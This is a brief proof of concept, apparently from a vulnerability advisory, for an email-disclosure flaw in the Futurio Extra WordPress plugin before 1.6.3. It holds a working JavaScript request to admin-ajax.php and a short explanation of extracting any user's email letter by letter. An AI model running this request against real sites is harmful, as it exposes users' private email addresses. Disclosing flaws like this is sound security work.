Futurio Extra < 1.6.3 - Subscriber+ User Email Address Disclosure

fetch("http://127.0.0.1:8001/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded"
  },
  "body": new URLSearchParams({"action": "dilaz_mb_query_select", "q": "@gma", "query_type": "user"}),
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

If a given user name appeared in the output list, that means, the user has "@gma" in their e-mail. Then you can extract any user's e-mail letter-by-letter.